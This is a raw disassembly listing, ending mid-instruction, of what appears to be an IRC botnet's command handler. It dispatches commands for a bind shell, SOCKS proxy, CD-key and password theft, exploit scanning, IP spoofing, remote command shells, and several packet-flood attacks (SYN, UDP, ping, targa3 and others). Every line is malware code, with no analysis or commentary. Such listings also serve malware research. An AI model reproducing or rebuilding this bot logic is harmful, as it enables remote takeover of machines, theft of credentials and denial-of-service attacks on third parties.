[ebp+var_4AF0] push offset asc_42CA34 ; " " push eax call sub_41C0F4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40294A: ; CODE XREF: sub_401ACD+E92j push offset asc_42CA34 ; " " push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40294A mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401E94 add ecx, 3 mov [eax], ecx loc_40297C: ; CODE XREF: sub_401ACD+CB8j mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aRn ; "rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aDie ; "die" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aD ; "d" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aLogout ; "logout" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aLo ; "lo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aVersion ; "version" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aVer ; "ver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aDedication ; "dedication" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aDed ; "ded" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aSpeedtest ; "speedtest" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSt ; "st" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aSec ; "sec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsecure ; "unsecure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsec ; "unsec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aBindshell ; "bindshell" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBd ; "bd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBindshellstop ; "bindshellstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B40 push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42C674 loc_402B24: ; CODE XREF: sub_401ACD+10C1j ; sub_401ACD+10E7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B384 add esp, 20h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402B40: ; CODE XREF: sub_401ACD+1042j push edi push offset aSocks4 ; "socks4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aS4 ; "s4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aSocks4stop ; "socks4stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B90 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42C64C jmp short loc_402B24 ; --------------------------------------------------------------------------- loc_402B90: ; CODE XREF: sub_401ACD+10ACj push edi push offset aRloginstop ; "rloginstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BB9 push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42C630 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BB9: ; CODE XREF: sub_401ACD+10D2j push edi push offset aHttpstop ; "httpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BE2 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42C614 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BE2: ; CODE XREF: sub_401ACD+10FBj push edi push offset aLogstop ; "logstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C0B push [ebp+esi+var_8C] push 25h push offset dword_42C600 push offset dword_42C5F4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C0B: ; CODE XREF: sub_401ACD+1124j push edi push offset aRedirectstop ; "redirectstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C34 push [ebp+esi+var_8C] push 18h push offset dword_42C5D4 push offset dword_42C5C4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C34: ; CODE XREF: sub_401ACD+114Dj push edi push offset dword_42C5B8 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C5D push [ebp+esi+var_8C] push 0Dh push offset dword_42C5AC push offset dword_42C5A0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C5D: ; CODE XREF: sub_401ACD+1176j push edi push offset aSynstop ; "synstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C86 push [ebp+esi+var_8C] push 0Eh push offset dword_42C58C push offset dword_42C580 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C86: ; CODE XREF: sub_401ACD+119Fj push edi push offset aSkysynstop ; "skysynstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CAF push [ebp+esi+var_8C] push 10h push offset dword_42C564 push offset dword_42C554 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CAF: ; CODE XREF: sub_401ACD+11C8j push edi push offset aTarga3stop ; "targa3stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CD8 push [ebp+esi+var_8C] push 11h push offset dword_42C538 push offset dword_42C528 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_401ACD+11F1j push edi push offset aWonkstop ; "wonkstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402D01 push [ebp+esi+var_8C] push 12h push offset dword_42C510 push offset dword_42C504 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402D01: ; CODE XREF: sub_401ACD+121Aj push edi push offset aPacketstop ; "packetstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402E57 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42C5AC push offset dword_42C5A0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 0Eh push offset dword_42C58C push offset dword_42C580 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 17h push offset dword_42C4EC push offset dword_42C4E0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 16h push offset dword_42C4D4 push offset dword_42C4C8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 11h push offset dword_42C538 push offset dword_42C528 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 12h push offset dword_42C510 push offset dword_42C504 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 0Fh push offset dword_42C4B8 push offset dword_42C4A8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 13h push offset dword_42C498 push offset dword_42C488 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 10h push offset dword_42C564 push offset dword_42C554 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push ebx push [ebp+var_4] push offset unk_42C454 push [ebp+var_88] push edi call sub_409A72 add esp, 34h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402E57: ; CODE XREF: sub_401ACD+1243j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402E80 push [ebp+esi+var_8C] push 0Fh push offset dword_42C4B8 push offset dword_42C4A8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402E80: ; CODE XREF: sub_401ACD+1399j push edi push offset aWisdomstop ; "wisdomstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EA9 push [ebp+esi+var_8C] push 13h push offset dword_42C498 push offset dword_42C488 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EA9: ; CODE XREF: sub_401ACD+13C2j push edi push offset aUdpstop ; "udpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402ED2 push [ebp+esi+var_8C] push 17h push offset dword_42C4EC push offset dword_42C4E0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402ED2: ; CODE XREF: sub_401ACD+13EBj push edi push offset aPingstop ; "pingstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EFB push [ebp+esi+var_8C] push 16h push offset dword_42C4D4 push offset dword_42C4C8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EFB: ; CODE XREF: sub_401ACD+1414j push edi push offset aTftpstop ; "tftpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402F24 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42C40C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402F24: ; CODE XREF: sub_401ACD+143Dj push edi push offset aFindfilestop ; "findfilestop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aFfstop ; "ffstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aProcsstop ; "procsstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aPsstop ; "psstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aClonestop ; "clonestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FA1 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42C3BC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FA1: ; CODE XREF: sub_401ACD+14BAj push edi push offset aSecurestop ; "securestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FCA push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C398 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FCA: ; CODE XREF: sub_401ACD+14E3j push edi push offset aScanstop ; "scanstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FF3 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42C378 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FF3: ; CODE XREF: sub_401ACD+150Cj push edi push offset aScanstats ; "scanstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aStats ; "stats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aTransferstats ; "transferstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aTrstats ; "trstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aCbstats ; "cbstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aExploitlist ; "exploitlist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aExplist ; "explist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aReconnect ; "reconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aDisconnect ; "disconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aDc ; "dc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aQuit_0 ; "quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aQ ; "q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aStatus ; "status" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aS_0 ; "s" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aId ; "id" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aI ; "i" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aReboot ; "reboot" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4031BF call sub_418337 test eax, eax mov eax, offset unk_42C2B4 jnz short loc_403191 mov eax, offset unk_42C28C loc_403191: ; CODE XREF: sub_401ACD+16BDj push eax lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 1Ch jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4031BF: ; CODE XREF: sub_401ACD+16AFj push edi push offset aThreads ; "threads" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aT ; "t" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aAliases ; "aliases" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aAl ; "al" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aLog ; "log" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aLg ; "lg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aClearlog ; "clearlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aClg ; "clg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aNetinfo ; "netinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aNi ; "ni" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aSysinfo ; "sysinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aSi ; "si" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aProcs ; "procs" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aPs ; "ps" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aGetcdkeys ; "getcdkeys" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aKey ; "key" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aUptime ; "uptime" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aUp ; "up" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aDriveinfo ; "driveinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aDrv ; "drv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aTestdlls ; "testdlls" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aDll ; "dll" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aOpencmd ; "opencmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aOcmd ; "ocmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aCmdstop ; "cmdstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40340A push [ebp+esi+var_8C] push 0Ah push offset dword_42C1CC push offset dword_42C1C0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_40340A: ; CODE XREF: sub_401ACD+1923j push edi push offset dword_42C1BC call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_403527 cmp [ebp+var_8], ebx jnz short loc_40343E push ebx push [ebp+var_4] push offset dword_42C1A8 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40343E: ; CODE XREF: sub_401ACD+1955j mov eax, [ebp+arg_18] mov [ebp+arg_20], ebx mov [ebp+arg_18], eax jmp short loc_40344C ; --------------------------------------------------------------------------- loc_403449: ; CODE XREF: sub_401ACD+19CBj mov eax, [ebp+arg_18] loc_40344C: ; CODE XREF: sub_401ACD+197Aj cmp [eax], bl jz short loc_403453 inc eax jmp short loc_403458 ; --------------------------------------------------------------------------- loc_403453: ; CODE XREF: sub_401ACD+1981j mov eax, offset aEmpty ; "<Empty>" loc_403458: ; CODE XREF: sub_401ACD+1984j push eax lea eax, [ebp+var_2C4] push [ebp+arg_20] push offset aD_S ; "%d. %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add [ebp+arg_18], 80h add esp, 24h inc [ebp+arg_20] cmp [ebp+arg_20], 3 jl short loc_403449 push offset unk_42C174 call sub_4151AC pop ecx loc_4034A5: ; CODE XREF: sub_401ACD+1C5Aj ; sub_401ACD+2F43j mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401E94 push edi push offset aSpoof ; "spoof" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404AF4 mov esi, [ebp+arg_10] push offset aOff ; "off" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404A22 lea eax, [ebp+var_2C4] push offset unk_42C140 push eax mov dword_4CE728, ebx call sub_41B886 pop ecx pop ecx loc_4034FD: ; CODE XREF: sub_401ACD+3022j cmp [ebp+var_8], ebx jnz loc_409854 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_40351F: ; CODE XREF: sub_401ACD+7118j add esp, 14h jmp loc_409854 ; --------------------------------------------------------------------------- loc_403527: ; CODE XREF: sub_401ACD+194Cj push edi push offset aGetclip ; "getclip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aGc ; "gc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aFlusharp ; "flusharp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFarp ; "farp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFlushdns ; "flushdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aFdns ; "fdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aCurrentip ; "currentip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aCip ; "cip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aRloginserver ; "rloginserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aRlogin ; "rlogin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aHttpserver ; "httpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aHttp ; "http" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aTftpserver ; "tftpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aTftp ; "tftp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aCrash ; "crash" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4036B3 lea eax, [ebp+var_2C4] push offset dword_42C098 push eax call sub_41B886 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403692 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403692: ; CODE XREF: sub_401ACD+1BA7j lea eax, [ebp+var_2C4] push eax call sub_4151AC mov [esp+10h+var_10], offset aCrash ; "crash" push [ebp+esi+var_7C] call sub_41C070 jmp loc_40207C ; --------------------------------------------------------------------------- loc_4036B3: ; CODE XREF: sub_401ACD+1B8Fj push edi push offset aScanall ; "scanall" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aSa ; "sa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aPhonehome ; "phonehome" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_403707 lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] call sub_409A2C jmp loc_401F52 ; --------------------------------------------------------------------------- loc_403707: ; CODE XREF: sub_401ACD+1C1Fj push edi push offset aFindpass ; "findpass" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40372D push edi push offset aFp ; "fp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4034A5 loc_40372D: ; CODE XREF: sub_401ACD+1C49j push [ebp+var_88] lea eax, [ebp+var_F54] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_F58], eax mov eax, [ebp+var_4] mov [ebp+var_ED0], eax mov eax, [ebp+var_8] mov [ebp+var_ECC], eax push offset unk_42C024 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B0F6 add esp, 18h mov [ebp+var_ED4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F58] push ebx push eax push offset sub_416F1A push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_ED4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4037D5 loc_4037BF: ; CODE XREF: sub_401ACD+1D06j cmp [ebp+var_EC8], ebx jnz loc_4083BC push 32h nop call near ptr 2670ECAh jmp short loc_4037BF ; --------------------------------------------------------------------------- loc_4037D5: ; CODE XREF: sub_401ACD+1CF0j call near ptr 2680925h nop push eax push offset unk_42BFE8 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4037E6: ; CODE XREF: sub_401ACD+1BF5j ; sub_401ACD+1C0Aj mov al, byte_4315F2 mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_4315F2 jz loc_401E94 mov ecx, edx loc_4037FD: ; CODE XREF: sub_401ACD+1D38j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037FD cmp al, bl jz loc_401E94 mov [ebp+arg_18], edx mov esi, offset aF ; "#f" loc_403817: ; CODE XREF: sub_401ACD+2008j push 0Bh call sub_40B33E pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 1F4h jle short loc_403866 push ecx lea eax, [ebp+var_2C4] push offset unk_42BFA8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_403ACC ; --------------------------------------------------------------------------- loc_403866: ; CODE XREF: sub_401ACD+1D64j or [ebp+var_730], 0FFFFFFFFh cmp dword_431410, ebx mov [ebp+var_734], 4Bh mov [ebp+var_748], 5 mov [ebp+var_744], 320h mov [ebp+arg_0], ebx jz short loc_4038D7 mov edi, offset dword_431410 loc_40389B: ; CODE XREF: sub_401ACD+1DECj mov eax, [ebp+arg_18] add eax, 0FFFFFFF6h push eax lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4038BD inc [ebp+arg_0] add edi, 40h cmp [edi], ebx jnz short loc_40389B jmp short loc_4038D7 ; --------------------------------------------------------------------------- loc_4038BD: ; CODE XREF: sub_401ACD+1DE2j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_431410[ecx] mov [ebp+var_74C], ecx loc_4038D7: ; CODE XREF: sub_401ACD+1DC7j ; sub_401ACD+1DEEj cmp [ebp+var_74C], ebx jz loc_403AE0 push 10h lea eax, [ebp+var_2D4] pop edi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], edi push [ebp+arg_4] call dword_4CAF18 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CB000 push eax lea eax, [ebp+var_860] push eax call sub_41B5F0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_860] push eax call sub_41BE40 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40397F loc_40395D: ; CODE XREF: sub_401ACD+1EB0j cmp eax, ebx jz short loc_40397F mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40395D loc_40397F: ; CODE XREF: sub_401ACD+1E8Ej ; sub_401ACD+1E92j mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_750], eax mov eax, [ebp+var_4] mov [ebp+var_728], eax mov eax, [ebp+var_8] mov [ebp+var_724], eax mov edi, 80h lea eax, [ebp+var_850] push edi push eax mov [ebp+var_720], 1 call sub_41B980 push offset dword_43D128 push esi call sub_41C070 add esp, 14h test eax, eax jz short loc_4039E1 push esi lea eax, [ebp+var_7D0] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4039E7 ; --------------------------------------------------------------------------- loc_4039E1: ; CODE XREF: sub_401ACD+1EFFj mov [ebp+var_7D0], bl loc_4039E7: ; CODE XREF: sub_401ACD+1F12j cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039F9 mov eax, offset aSequential ; "Sequential" loc_4039F9: ; CODE XREF: sub_401ACD+1F25j push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF28 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C33C push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403A83 loc_403A71: ; CODE XREF: sub_401ACD+1FB4j cmp [ebp+var_71C], ebx jnz short loc_403A9E push 32h nop call near ptr 2670ECAh jmp short loc_403A71 ; --------------------------------------------------------------------------- loc_403A83: ; CODE XREF: sub_401ACD+1FA2j nop call near ptr 2680925h push eax lea eax, [ebp+var_2C4] push offset unk_42BEEC push eax call sub_41B886 add esp, 0Ch loc_403A9E: ; CODE XREF: sub_401ACD+1FAAj cmp [ebp+var_8], ebx jnz short loc_403ABF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403ABF: ; CODE XREF: sub_401ACD+1FD4j lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx loc_403ACC: ; CODE XREF: sub_401ACD+1D94j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_403817 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_403AE0: ; CODE XREF: sub_401ACD+1E10j push offset unk_42BEB4 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403AEA: ; CODE XREF: sub_401ACD+1B65j ; sub_401ACD+1B7Aj push 5 call sub_40B33E test eax, eax pop ecx jle short loc_403B00 push offset unk_42BE94 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403B00: ; CODE XREF: sub_401ACD+2027j mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403B23 push eax mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_403B37 ; --------------------------------------------------------------------------- loc_403B23: ; CODE XREF: sub_401ACD+203Cj mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax push ebx nop call near ptr 2670000h loc_403B37: ; CODE XREF: sub_401ACD+2054j mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403B47 mov esi, offset byte_429108 loc_403B47: ; CODE XREF: sub_401ACD+2073j push esi lea eax, [ebp+var_2C4C] push edi push eax call sub_41B980 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B40], eax mov eax, [ebp+arg_4] mov [ebp+var_2B44], ebx mov [ebp+var_2D54], eax lea eax, [ebp+var_2B3C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2ABC], eax mov eax, [ebp+var_8] mov [ebp+var_2AB8], eax lea eax, [ebp+var_2D50] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B40] push offset unk_42BE60 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2B48], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D54] push ebx push eax push offset word_411796 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_2B48] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403C13 loc_403BFD: ; CODE XREF: sub_401ACD+2144j cmp [ebp+var_2AB4], ebx jnz loc_40828B push 32h nop call near ptr 2670ECAh jmp short loc_403BFD ; --------------------------------------------------------------------------- loc_403C13: ; CODE XREF: sub_401ACD+212Ej nop call near ptr 2680925h push eax push offset unk_42BE24 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_403C24: ; CODE XREF: sub_401ACD+1B3Bj ; sub_401ACD+1B50j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403C43 push edi call sub_41B779 test 